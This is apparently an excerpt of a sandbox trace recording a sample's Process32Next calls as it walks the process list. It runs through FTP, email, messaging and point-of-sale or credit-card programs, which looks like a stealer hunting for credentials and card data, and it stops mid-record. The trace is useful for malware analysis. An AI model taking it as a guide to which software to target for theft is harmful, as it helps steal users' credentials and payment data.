[0219.377] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0219.380] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0219.382] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0219.384] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.385] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.387] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0219.388] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.390] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.392] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.394] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.395] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.397] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.398] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.400] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0219.401] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0219.404] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0219.406] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.407] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0219.409] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0219.411] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0219.412] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0219.414] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0219.416] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0219.417] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0219.419] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.422] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0219.424] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0219.425] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0219.427] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0219.428] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0219.430] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0219.432] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0219.434] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0219.435] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0219.437] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0219.439] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0219.440] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0219.442] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0219.444] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0219.446] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0219.447] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0219.449] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0219.451] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0219.453] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0219.455] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0219.456] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0219.498] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0219.501] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0219.504] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0219.506] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0219.508] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0219.511] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0219.514] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0219.518] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0219.521] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0219.524] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0219.527] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0219.529] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0219.533] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0219.536] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0219.540] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0219.543] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0219.565] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0219.568] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0219.570] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0219.571] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0219.575] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0219.577] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0219.579] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0219.581] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0219.583] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0219.585] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0219.587] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0219.589] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0219.591] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0219.593] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0219.595] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0219.598] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0219.600] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0219.601] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0219.604] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0219.606] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0219.608] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 